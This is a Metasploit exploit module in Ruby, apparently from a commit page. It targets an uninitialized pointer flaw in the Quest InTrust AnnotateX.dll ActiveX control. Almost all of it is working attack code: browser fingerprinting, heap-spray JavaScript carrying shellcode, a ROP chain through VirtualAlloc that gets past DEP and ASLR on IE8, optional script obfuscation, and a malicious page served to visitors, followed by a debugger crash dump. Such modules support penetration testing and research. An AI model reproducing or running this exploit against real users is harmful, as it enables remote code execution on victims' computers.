exploit for Quest InTrust 10.4.x Annotation Objects ActiveX Control AnnotateX.dll Uninitialized Pointer Remote Code Execution
Steven Seeley
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810d496ade
commit
846be0e983
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##
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# $Id$
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##
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###
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super( update_info(info,
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'Name' => 'Quest InTrust Annotation Objects uninitialized pointer remote code execution',
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'Description' => %q{
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This module exploits a uninitialized variable vulnerability in the
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Annotation Objects ActiveX component. The activeX component loads into memory without
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opting into ALSR so this module exploits the vulnerability against windows Vista and
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Windows 7 targets. A large heap spray is required to fulfil the requirement that EAX
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points to part of the rop chain in a heap chunk and the calculated call will hit the
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pivot in a seperate heap chunk. This will take some time in the users browser.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod <rgod[at]autistici.org>', # initial discovery & poc
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'mr_me <steventhomasseeley[at]gmail.com>', # msf module
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '80662'],
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[ 'BID', '52765'],
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[ 'URL', 'http://www.exploit-db.com/exploits/18674/'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'InitialAutoRunScript' => 'migrate -f',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]
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# calculation: <targetaddress> - 0x44024a50 / 4 = Ret
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[ 'Automatic', {} ],
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# Windows XP/Vista/IE6/IE7 target
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[
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'Windows XP/Vista SP0-SP3 (IE6/IE7)',
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{
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'Ret' => 0x76767676,
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}
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],
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# Windows XP/IE8 target - ASLR/DEP Bypass
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[
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'Windows XP SP0-SP3 DEP bypass (IE8)',
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{
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'Ret' => 0x31AAAD78,
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}
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],
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# Windows 7/Vista/IE8 target - ASLR/DEP Bypass
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[
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'Windows 7/Vista ALSR/DEP bypass (IE8)',
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{
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'Ret' => 0x31AAAD78,
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}
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]
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],
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'DisclosureDate' => 'Mar 28 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
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], self.class)
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end
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def junk
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return rand_text_alpha(4).unpack("L")[0].to_i
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end
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def on_request_uri(cli, request)
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#Set target manually or automatically
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my_target = target
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if my_target.name == 'Automatic'
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agent = request.headers['User-Agent']
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7
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my_target = targets[1]
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7
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my_target = targets[1]
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8
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my_target = targets[2]
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8
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my_target = targets[2]
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8
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my_target = targets[3]
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end
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end
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print_status("Target selected: #{my_target.name}") if datastore['VERBOSE']
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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# shellcode
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sc = Rex::Text.to_unescape(p.encoded)
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# Randomize object name
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obj_name = rand_text_alpha(rand(100) + 1)
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main_sym = 'main' #main function name
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if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
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js = <<-EOS
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function heapspray(){
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shellcode = unescape('#{sc}');
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bigblock = unescape("%u0c0c%u0c0c");
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headersize = 20;
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slackspace = headersize+shellcode.length;
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while (bigblock.length<slackspace){ bigblock+=bigblock; }
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fillblock = bigblock.substring(0, slackspace);
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block = bigblock.substring(0, bigblock.length-slackspace);
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while(block.length+slackspace<0x40000){ block = block+block+fillblock; }
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memory = new Array();
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for (i=0;i<1000;i++){ memory[i] = block+shellcode; }
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}
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function main(){
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heapspray();
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#{obj_name}.Add(#{my_target.ret},1);
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}
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EOS
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end
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if my_target.name =~ /IE8/
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# all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)
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rop_gadgets = [
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junk,
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junk,
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junk,
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0x44014075 # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)
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].pack('V*')
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rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's
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rop_gadgets << [
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0x44015CEF, # retn
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0x44015CEF, # retn
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0x44015CEF, # retn
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0x44015cee, # pop edx ; retn
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0x4401a130, # ptr to &VirtualAlloc() (IAT)
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0x44015ca4, # mov eax,[edx+4] ; retn
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0x44001218, # push eax ; dec eax ; pop esi ; pop ebp ; retn 14
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junk, # filler (compensate)
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0x440159bb, # pop ebp ; retn
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junk, # filler (retn offset compensation)
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junk, # filler (retn offset compensation)
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junk, # filler (retn offset compensation)
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junk, # filler (retn offset compensation)
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0x4400238A, # filler (pop edi ; pop esi ; pop ebp ; retn)
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0x440012c1, # push esp ; ret 08
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0x44016264, # pop ebx ; retn
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0x00004000, # 0x00000001-> ebx
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0x44015cc9, # pop edx ; retn
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0x00001000, # 0x00001000-> edx
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0x44017664, # pop ecx ; retn
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0x00000040, # 0x00000040-> ecx
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0x44017bd8, # pop edi ; retn
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0x44017ebe, # retn
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0x4400bf25, # pop eax ; retn
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0x0C0C2478, # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn
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0x44005C57, # pushad ; push 8 ; push ecx; push esi; call [eax+c]
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0x90909090, # nops, do not change as it changes the offset
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090,
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0x90909090
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].pack('V*')
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rop = Rex::Text.to_unescape(rop_gadgets)
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js = <<-EOF
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function heapspray(){
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var payload = unescape('#{rop}');
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payload += unescape('#{sc}');
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var data = payload;
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while(data.length < 100000) { data += data; }
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var onemeg = data.substr(0, 64*1024/2);
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for (i=0; i<14; i++) {
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onemeg += data.substr(0, 64*1024/2);
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}
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onemeg += data.substr(0, (64*1024/2)-(38/2));
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var block = new Array();
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for (i=0; i<700; i++) {
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block[i] = onemeg.substr(0, onemeg.length);
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}
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}
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function main(){
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heapspray();
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#{obj_name}.Add(#{my_target.ret},1);
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}
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EOF
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#JS obfuscation on demand only for IE8
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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main_sym = js.sym('main')
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end
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end
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content = <<-EOF
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<object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>
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<script language='JavaScript' defer>
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#{js}
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</script>
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<body onload="#{main_sym}();">
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<body>
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</html>
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EOF
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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#Remove the extra tabs from content
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content = content.gsub(/^\t\t/, '')
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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=begin
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eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001
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eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
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ANNOTA_1+0xae62:
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4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????
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=end
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